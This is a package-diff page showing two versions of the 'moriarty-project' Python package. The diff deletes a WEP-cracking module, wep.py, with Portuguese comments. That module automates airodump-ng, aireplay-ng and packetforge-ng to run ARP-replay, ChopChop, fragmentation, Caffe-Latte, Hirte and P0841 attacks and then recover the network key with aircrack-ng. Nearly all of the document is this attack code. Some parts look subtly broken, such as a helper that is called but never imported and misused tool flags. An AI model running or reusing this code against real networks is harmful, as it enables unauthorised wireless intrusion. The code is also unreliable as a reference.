moriarty-project 0.1.20__py3-none-any.whl → 0.1.23__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/cli/app.py +5 -6
- moriarty/modules/port_scanner.py +1 -5
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/METADATA +36 -49
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/RECORD +7 -22
- moriarty/cli/wifippler.py +0 -124
- moriarty/modules/wifippler/__init__.py +0 -65
- moriarty/modules/wifippler/core/__init__.py +0 -80
- moriarty/modules/wifippler/core/attacks/__init__.py +0 -19
- moriarty/modules/wifippler/core/attacks/deauth.py +0 -340
- moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
- moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
- moriarty/modules/wifippler/core/attacks/wep.py +0 -467
- moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
- moriarty/modules/wifippler/core/attacks/wps.py +0 -474
- moriarty/modules/wifippler/core/models/__init__.py +0 -10
- moriarty/modules/wifippler/core/models/network.py +0 -216
- moriarty/modules/wifippler/core/scanner.py +0 -901
- moriarty/modules/wifippler/core/utils/__init__.py +0 -622
- moriarty/modules/wifippler/core/utils.py +0 -851
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/entry_points.txt +0 -0
@@ -1,467 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de ataque WEP.
|
3
|
-
|
4
|
-
Este módulo implementa ataques contra redes WEP, incluindo:
|
5
|
-
- Injeção de pacotes
|
6
|
-
- Ataque ARP Request Replay
|
7
|
-
- Ataque ChopChop
|
8
|
-
- Ataque Fragmentation
|
9
|
-
- Ataque Caffe-Latte
|
10
|
-
- Ataque Hirte
|
11
|
-
- Ataque P0841
|
12
|
-
"""
|
13
|
-
import os
|
14
|
-
import re
|
15
|
-
import time
|
16
|
-
import logging
|
17
|
-
import subprocess
|
18
|
-
import tempfile
|
19
|
-
from typing import Optional, Dict, List, Tuple, Any, Callable
|
20
|
-
from dataclasses import dataclass, field
|
21
|
-
from enum import Enum, auto
|
22
|
-
|
23
|
-
from rich.console import Console
|
24
|
-
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
|
25
|
-
|
26
|
-
from ...core.models.network import WiFiNetwork
|
27
|
-
from ...core.utils import (
|
28
|
-
is_root, check_dependencies, get_network_interfaces,
|
29
|
-
set_monitor_mode, restore_network_interface, command_exists
|
30
|
-
)
|
31
|
-
|
32
|
-
# Configuração de logging
|
33
|
-
logging.basicConfig(level=logging.INFO)
|
34
|
-
logger = logging.getLogger(__name__)
|
35
|
-
console = Console()
|
36
|
-
|
37
|
-
class WEPAttackType(Enum):
|
38
|
-
"""Tipos de ataque WEP."""
|
39
|
-
ARP_REPLAY = auto()
|
40
|
-
CHOPCHOP = auto()
|
41
|
-
FRAGMENTATION = auto()
|
42
|
-
CAFFE_LATTE = auto()
|
43
|
-
HIRTE = auto()
|
44
|
-
P0841 = auto()
|
45
|
-
FRAGMENT = auto()
|
46
|
-
CHOPCHOP_FRAGMENT = auto()
|
47
|
-
|
48
|
-
class WEPEventType(Enum):
|
49
|
-
"""Tipos de eventos do ataque WEP."""
|
50
|
-
START = auto()
|
51
|
-
IVS_COLLECTED = auto()
|
52
|
-
KEY_FOUND = auto()
|
53
|
-
ATTACK_STARTED = auto()
|
54
|
-
ATTACK_UPDATE = auto()
|
55
|
-
ERROR = auto()
|
56
|
-
COMPLETE = auto()
|
57
|
-
|
58
|
-
@dataclass
|
59
|
-
class WEPEvent:
|
60
|
-
"""Evento de progresso do ataque WEP."""
|
61
|
-
type: WEPEventType
|
62
|
-
message: str = ""
|
63
|
-
data: Dict[str, Any] = field(default_factory=dict)
|
64
|
-
|
65
|
-
class WEPAttack:
|
66
|
-
"""Classe para realizar ataques WEP."""
|
67
|
-
|
68
|
-
def __init__(self, interface: str = None, timeout: int = 300):
|
69
|
-
"""
|
70
|
-
Inicializa o ataque WEP.
|
71
|
-
|
72
|
-
Args:
|
73
|
-
interface: Interface de rede para usar no ataque
|
74
|
-
timeout: Tempo máximo de execução em segundos
|
75
|
-
"""
|
76
|
-
self.interface = interface
|
77
|
-
self.timeout = timeout
|
78
|
-
self.is_running = False
|
79
|
-
self.stop_requested = False
|
80
|
-
self.key_found = False
|
81
|
-
self.key = ""
|
82
|
-
self.ivs_collected = 0
|
83
|
-
self.required_ivs = 10000 # Valor padrão, pode ser ajustado
|
84
|
-
|
85
|
-
# Verifica dependências
|
86
|
-
self._check_dependencies()
|
87
|
-
|
88
|
-
# Verifica privilégios
|
89
|
-
if not is_root():
|
90
|
-
raise PermissionError("Este ataque requer privilégios de root")
|
91
|
-
|
92
|
-
def _check_dependencies(self) -> None:
|
93
|
-
"""Verifica se todas as dependências necessárias estão instaladas."""
|
94
|
-
required = ['airodump-ng', 'aireplay-ng', 'aircrack-ng', 'packetforge-ng']
|
95
|
-
missing = [cmd for cmd in required if not command_exists(cmd)]
|
96
|
-
|
97
|
-
if missing:
|
98
|
-
raise RuntimeError(
|
99
|
-
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
100
|
-
"Instale-as com: sudo apt install aircrack-ng"
|
101
|
-
)
|
102
|
-
|
103
|
-
def start_attack(self, bssid: str, channel: int, essid: str = None,
|
104
|
-
attack_type: WEPAttackType = WEPAttackType.ARP_REPLAY,
|
105
|
-
client_mac: str = None,
|
106
|
-
callback: Callable[[WEPEvent], None] = None) -> Tuple[bool, str]:
|
107
|
-
"""
|
108
|
-
Inicia um ataque WEP.
|
109
|
-
|
110
|
-
Args:
|
111
|
-
bssid: Endereço MAC do ponto de acesso
|
112
|
-
channel: Canal da rede
|
113
|
-
essid: Nome da rede (opcional)
|
114
|
-
attack_type: Tipo de ataque WEP a ser executado
|
115
|
-
client_mac: Endereço MAC do cliente a ser atacado (opcional)
|
116
|
-
callback: Função de callback para eventos
|
117
|
-
|
118
|
-
Returns:
|
119
|
-
Tupla (sucesso, chave_wep)
|
120
|
-
"""
|
121
|
-
self.is_running = True
|
122
|
-
self.stop_requested = False
|
123
|
-
self.key_found = False
|
124
|
-
self.key = ""
|
125
|
-
self.ivs_collected = 0
|
126
|
-
|
127
|
-
# Configura o monitoramento de eventos
|
128
|
-
def event_handler(event_type: WEPEventType, message: str = "", **kwargs):
|
129
|
-
if callback:
|
130
|
-
event = WEPEvent(type=event_type, message=message, data=kwargs)
|
131
|
-
callback(event)
|
132
|
-
|
133
|
-
# Cria um diretório temporário para os arquivos
|
134
|
-
with tempfile.TemporaryDirectory() as temp_dir:
|
135
|
-
try:
|
136
|
-
output_file = os.path.join(temp_dir, 'wep_capture')
|
137
|
-
cap_file = f"{output_file}-01.cap"
|
138
|
-
|
139
|
-
# Inicia o airodump-ng para capturar IVs
|
140
|
-
cmd_airodump = [
|
141
|
-
'airodump-ng',
|
142
|
-
'--bssid', bssid,
|
143
|
-
'-c', str(channel),
|
144
|
-
'-w', output_file,
|
145
|
-
'--output-format', 'cap',
|
146
|
-
'--write-interval', '1',
|
147
|
-
self.interface
|
148
|
-
]
|
149
|
-
|
150
|
-
if essid:
|
151
|
-
cmd_airodump.extend(['--essid', essid])
|
152
|
-
|
153
|
-
event_handler(WEPEventType.START, "Iniciando captura de IVs WEP...")
|
154
|
-
|
155
|
-
# Executa o airodump-ng em segundo plano
|
156
|
-
airodump_proc = subprocess.Popen(
|
157
|
-
cmd_airodump,
|
158
|
-
stdout=subprocess.PIPE,
|
159
|
-
stderr=subprocess.PIPE,
|
160
|
-
universal_newlines=True
|
161
|
-
)
|
162
|
-
|
163
|
-
# Aguarda o airodump-ng iniciar
|
164
|
-
time.sleep(5)
|
165
|
-
|
166
|
-
# Inicia o ataque específico
|
167
|
-
attack_proc = None
|
168
|
-
attack_cmd = []
|
169
|
-
|
170
|
-
if attack_type == WEPAttackType.ARP_REPLAY:
|
171
|
-
attack_cmd = self._prepare_arp_replay(bssid, client_mac)
|
172
|
-
elif attack_type == WEPAttackType.CHOPCHOP:
|
173
|
-
attack_cmd = self._prepare_chopchop(bssid, client_mac)
|
174
|
-
elif attack_type == WEPAttackType.FRAGMENTATION:
|
175
|
-
attack_cmd = self._prepare_fragmentation(bssid, client_mac)
|
176
|
-
elif attack_type == WEPAttackType.CAFFE_LATTE:
|
177
|
-
attack_cmd = self._prepare_caffe_latte(bssid)
|
178
|
-
elif attack_type == WEPAttackType.HIRTE:
|
179
|
-
attack_cmd = self._prepare_hirte(bssid)
|
180
|
-
elif attack_type == WEPAttackType.P0841:
|
181
|
-
attack_cmd = self._prepare_p0841(bssid)
|
182
|
-
elif attack_type == WEPAttackType.FRAGMENT:
|
183
|
-
attack_cmd = self._prepare_fragment(bssid, client_mac)
|
184
|
-
elif attack_type == WEPAttackType.CHOPCHOP_FRAGMENT:
|
185
|
-
attack_cmd = self._prepare_chopchop_fragment(bssid, client_mac)
|
186
|
-
|
187
|
-
if attack_cmd:
|
188
|
-
event_handler(
|
189
|
-
WEPEventType.ATTACK_STARTED,
|
190
|
-
f"Iniciando ataque {attack_type.name.replace('_', ' ').title()}...",
|
191
|
-
attack_type=attack_type
|
192
|
-
)
|
193
|
-
|
194
|
-
attack_proc = subprocess.Popen(
|
195
|
-
attack_cmd,
|
196
|
-
stdout=subprocess.PIPE,
|
197
|
-
stderr=subprocess.STDOUT,
|
198
|
-
universal_newlines=True
|
199
|
-
)
|
200
|
-
|
201
|
-
# Monitora o progresso
|
202
|
-
start_time = time.time()
|
203
|
-
last_ivs = 0
|
204
|
-
|
205
|
-
with Progress(
|
206
|
-
SpinnerColumn(),
|
207
|
-
TextColumn("[progress.description]{task.description}"),
|
208
|
-
BarColumn(bar_width=40),
|
209
|
-
"[progress.percentage]{task.percentage:>3.0f}%",
|
210
|
-
TimeElapsedColumn(),
|
211
|
-
console=console,
|
212
|
-
transient=True,
|
213
|
-
) as progress:
|
214
|
-
task = progress.add_task("Coletando IVs WEP...", total=self.required_ivs)
|
215
|
-
|
216
|
-
while True:
|
217
|
-
# Verifica timeout
|
218
|
-
if time.time() - start_time > self.timeout:
|
219
|
-
event_handler(
|
220
|
-
WEPEventType.ERROR,
|
221
|
-
"Tempo limite excedido no ataque WEP"
|
222
|
-
)
|
223
|
-
airodump_proc.terminate()
|
224
|
-
if attack_proc:
|
225
|
-
attack_proc.terminate()
|
226
|
-
return False, ""
|
227
|
-
|
228
|
-
# Verifica se foi solicitado para parar
|
229
|
-
if self.stop_requested:
|
230
|
-
event_handler(
|
231
|
-
WEPEventType.ERROR,
|
232
|
-
"Ataque interrompido pelo usuário"
|
233
|
-
)
|
234
|
-
airodump_proc.terminate()
|
235
|
-
if attack_proc:
|
236
|
-
attack_proc.terminate()
|
237
|
-
return False, ""
|
238
|
-
|
239
|
-
# Verifica se o arquivo de captura existe
|
240
|
-
if os.path.exists(cap_file):
|
241
|
-
# Verifica se a chave foi encontrada
|
242
|
-
key = self._check_cracked(cap_file, bssid)
|
243
|
-
if key:
|
244
|
-
self.key = key
|
245
|
-
self.key_found = True
|
246
|
-
event_handler(
|
247
|
-
WEPEventType.KEY_FOUND,
|
248
|
-
f"Chave WEP encontrada: {key}",
|
249
|
-
key=key
|
250
|
-
)
|
251
|
-
airodump_proc.terminate()
|
252
|
-
if attack_proc:
|
253
|
-
attack_proc.terminate()
|
254
|
-
return True, key
|
255
|
-
|
256
|
-
# Atualiza a contagem de IVs
|
257
|
-
ivs = self._count_ivs(cap_file, bssid)
|
258
|
-
if ivs > last_ivs:
|
259
|
-
self.ivs_collected = ivs
|
260
|
-
last_ivs = ivs
|
261
|
-
progress.update(task, completed=min(ivs, self.required_ivs))
|
262
|
-
|
263
|
-
event_handler(
|
264
|
-
WEPEventType.IVS_COLLECTED,
|
265
|
-
f"IVs coletados: {ivs}",
|
266
|
-
ivs=ivs,
|
267
|
-
progress=min(100, (ivs / self.required_ivs) * 100)
|
268
|
-
)
|
269
|
-
|
270
|
-
# Aguarda um pouco antes da próxima verificação
|
271
|
-
time.sleep(2)
|
272
|
-
|
273
|
-
return False, ""
|
274
|
-
|
275
|
-
except Exception as e:
|
276
|
-
event_handler(
|
277
|
-
WEPEventType.ERROR,
|
278
|
-
f"Erro durante o ataque WEP: {str(e)}"
|
279
|
-
)
|
280
|
-
return False, ""
|
281
|
-
|
282
|
-
finally:
|
283
|
-
self.is_running = False
|
284
|
-
# Encerra processos em execução
|
285
|
-
try:
|
286
|
-
airodump_proc.terminate()
|
287
|
-
except:
|
288
|
-
pass
|
289
|
-
try:
|
290
|
-
if attack_proc:
|
291
|
-
attack_proc.terminate()
|
292
|
-
except:
|
293
|
-
pass
|
294
|
-
|
295
|
-
def _prepare_arp_replay(self, bssid: str, client_mac: str = None) -> List[str]:
|
296
|
-
"""Prepara o comando para o ataque ARP Request Replay."""
|
297
|
-
cmd = [
|
298
|
-
'aireplay-ng',
|
299
|
-
'--arpreplay',
|
300
|
-
'-b', bssid,
|
301
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
302
|
-
'--ignore-negative-one',
|
303
|
-
self.interface
|
304
|
-
]
|
305
|
-
|
306
|
-
if client_mac:
|
307
|
-
cmd.extend(['-d', 'ff:ff:ff:ff:ff:ff', '-m', '68', '-n', '86', '-t', '1'])
|
308
|
-
|
309
|
-
return cmd
|
310
|
-
|
311
|
-
def _prepare_chopchop(self, bssid: str, client_mac: str = None) -> List[str]:
|
312
|
-
"""Prepara o comando para o ataque ChopChop."""
|
313
|
-
cmd = [
|
314
|
-
'aireplay-ng',
|
315
|
-
'--chopchop',
|
316
|
-
'-b', bssid,
|
317
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
318
|
-
'--ignore-negative-one',
|
319
|
-
self.interface
|
320
|
-
]
|
321
|
-
|
322
|
-
if client_mac:
|
323
|
-
cmd.extend(['-t', '1', '--bof', '64'])
|
324
|
-
|
325
|
-
return cmd
|
326
|
-
|
327
|
-
def _prepare_fragmentation(self, bssid: str, client_mac: str = None) -> List[str]:
|
328
|
-
"""Prepara o comando para o ataque de Fragmentação."""
|
329
|
-
cmd = [
|
330
|
-
'aireplay-ng',
|
331
|
-
'--fragment',
|
332
|
-
'-b', bssid,
|
333
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
334
|
-
'--ignore-negative-one',
|
335
|
-
self.interface
|
336
|
-
]
|
337
|
-
|
338
|
-
if client_mac:
|
339
|
-
cmd.extend(['-t', '1', '--bof', '64'])
|
340
|
-
|
341
|
-
return cmd
|
342
|
-
|
343
|
-
def _prepare_caffe_latte(self, bssid: str) -> List[str]:
|
344
|
-
"""Prepara o comando para o ataque Caffe-Latte."""
|
345
|
-
return [
|
346
|
-
'aireplay-ng',
|
347
|
-
'--caffe-latte',
|
348
|
-
'-b', bssid,
|
349
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
350
|
-
'--ignore-negative-one',
|
351
|
-
self.interface
|
352
|
-
]
|
353
|
-
|
354
|
-
def _prepare_hirte(self, bssid: str) -> List[str]:
|
355
|
-
"""Prepara o comando para o ataque Hirte."""
|
356
|
-
return [
|
357
|
-
'aireplay-ng',
|
358
|
-
'--hirte',
|
359
|
-
'-b', bssid,
|
360
|
-
'--ignore-negative-one',
|
361
|
-
self.interface
|
362
|
-
]
|
363
|
-
|
364
|
-
def _prepare_p0841(self, bssid: str) -> List[str]:
|
365
|
-
"""Prepara o comando para o ataque P0841."""
|
366
|
-
return [
|
367
|
-
'aireplay-ng',
|
368
|
-
'--arpreplay',
|
369
|
-
'-b', bssid,
|
370
|
-
'-c', 'ff:ff:ff:ff:ff:ff',
|
371
|
-
'-x', '1024',
|
372
|
-
'--ignore-negative-one',
|
373
|
-
self.interface
|
374
|
-
]
|
375
|
-
|
376
|
-
def _prepare_fragment(self, bssid: str, client_mac: str = None) -> List[str]:
|
377
|
-
"""Prepara o comando para o ataque de Fragmentação (alternativo)."""
|
378
|
-
cmd = [
|
379
|
-
'aireplay-ng',
|
380
|
-
'--fragment',
|
381
|
-
'-b', bssid,
|
382
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
383
|
-
'--ignore-negative-one',
|
384
|
-
'--frag', '100',
|
385
|
-
self.interface
|
386
|
-
]
|
387
|
-
|
388
|
-
if client_mac:
|
389
|
-
cmd.extend(['-d', client_mac])
|
390
|
-
|
391
|
-
return cmd
|
392
|
-
|
393
|
-
def _prepare_chopchop_fragment(self, bssid: str, client_mac: str = None) -> List[str]:
|
394
|
-
"""Prepara o comando para o ataque ChopChop + Fragmentação."""
|
395
|
-
# Primeiro, executa o ChopChop para obter um pacote
|
396
|
-
temp_dir = tempfile.mkdtemp()
|
397
|
-
chop_file = os.path.join(temp_dir, 'chopchop')
|
398
|
-
|
399
|
-
cmd_chop = [
|
400
|
-
'packetforge-ng',
|
401
|
-
'--chopchop',
|
402
|
-
'-a', bssid,
|
403
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
404
|
-
'-k', '255.255.255.255',
|
405
|
-
'-l', '255.255.255.255',
|
406
|
-
'-y', 'fragment-*.xor',
|
407
|
-
'-w', chop_file,
|
408
|
-
self.interface
|
409
|
-
]
|
410
|
-
|
411
|
-
# Depois, injeta o pacote com o ARP Replay
|
412
|
-
cmd_replay = [
|
413
|
-
'packetforge-ng',
|
414
|
-
'--arp',
|
415
|
-
'-a', bssid,
|
416
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
417
|
-
'-k', '255.255.255.255',
|
418
|
-
'-l', '255.255.255.255',
|
419
|
-
'-y', 'fragment-*.xor',
|
420
|
-
'-w', f"{chop_file}-arp",
|
421
|
-
'-r'
|
422
|
-
]
|
423
|
-
|
424
|
-
# Combina os comandos
|
425
|
-
return [
|
426
|
-
'bash', '-c',
|
427
|
-
f"{' '.join(cmd_chop)} && {' '.join(cmd_replay)} && "
|
428
|
-
f"aireplay-ng --interactive -r {chop_file}-arp -h {get_interface_mac(self.interface) or '00:11:22:33:44:55'} {self.interface}"
|
429
|
-
]
|
430
|
-
|
431
|
-
def _count_ivs(self, cap_file: str, bssid: str) -> int:
|
432
|
-
"""Conta o número de IVs únicos em um arquivo de captura."""
|
433
|
-
try:
|
434
|
-
cmd = ['aircrack-ng', cap_file, '-b', bssid, '-n', '128']
|
435
|
-
result = subprocess.run(cmd, capture_output=True, text=True)
|
436
|
-
|
437
|
-
# Procura por linhas como: "1 target successfully tested, 1 IVs"
|
438
|
-
match = re.search(r'(\d+)\s+IVs', result.stdout)
|
439
|
-
if match:
|
440
|
-
return int(match.group(1))
|
441
|
-
|
442
|
-
return 0
|
443
|
-
|
444
|
-
except Exception as e:
|
445
|
-
logger.error(f"Erro ao contar IVs: {e}")
|
446
|
-
return 0
|
447
|
-
|
448
|
-
def _check_cracked(self, cap_file: str, bssid: str) -> Optional[str]:
|
449
|
-
"""Verifica se a chave WEP foi quebrada."""
|
450
|
-
try:
|
451
|
-
cmd = ['aircrack-ng', cap_file, '-b', bssid, '-n', '128', '-l', '-']
|
452
|
-
result = subprocess.run(cmd, capture_output=True, text=True)
|
453
|
-
|
454
|
-
# Procura por uma chave no formato: "KEY FOUND! [ 12:34:56:78:90 ]"
|
455
|
-
match = re.search(r'KEY FOUND! \[ ([^\]]+) \]', result.stdout)
|
456
|
-
if match:
|
457
|
-
return match.group(1).strip()
|
458
|
-
|
459
|
-
return None
|
460
|
-
|
461
|
-
except Exception as e:
|
462
|
-
logger.error(f"Erro ao verificar chave WEP: {e}")
|
463
|
-
return None
|
464
|
-
|
465
|
-
def stop(self):
|
466
|
-
"""Solicita a interrupção do ataque."""
|
467
|
-
self.stop_requested = True
|